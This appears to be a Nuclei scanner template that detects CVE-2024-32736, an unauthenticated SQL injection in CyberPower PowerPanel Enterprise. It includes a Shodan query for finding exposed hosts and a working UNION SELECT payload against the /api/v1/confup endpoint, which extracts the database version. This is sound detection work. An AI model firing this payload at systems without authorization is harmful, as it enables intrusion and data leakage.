id: CVE-2024-32736

info:
  name: CyberPower < v2.8.3 - SQL Injection
  author: DhiyaneshDk
  severity: high
  description: |
    A sql injection vulnerability exists in CyberPower PowerPanel Enterprise prior to .
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    An unauthenticated remote attacker can leak sensitive information via the "query_utask_verbose" function within MCUDBHelper.
  reference:
    - https://www.cyberpower.com/global/en/File/GetFileSampleByType?fileId=SU-18070002-07&fileSubType=FileReleaseNote
    - https://www.tenable.com/security/research/tra-2024-14
    - https://nvd.nist.gov/vuln/detail/CVE-2024-32736
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-32736
    epss-score: 0.05408
    epss-percentile: 0.9189
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"<title>PDNU</title>"
  tags: cve,cve2024,cyberpower,sqli,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/confup?mode=&uid=1'%20UNION%20select%201,2,3,4,sqlite_version();--"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - '"code":"([0-9.]+)"'

      - type: word
        part: body
        words:
          - '"results":'
          - '{"status":"finished'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        group: 1
        regex:
          - '"code":"([0-9.]+)"'
# digest: 4a0a00473045022100871547040ba8d1e581888cea6983305f00dd0afc89aa0b90dfebde0fffd6185f022007d657aa26586e271e1570789a2e1dacd7d7e84d6cca8dab8bfdb0dce091d310:922c64590222798bb761d5b6d8e72950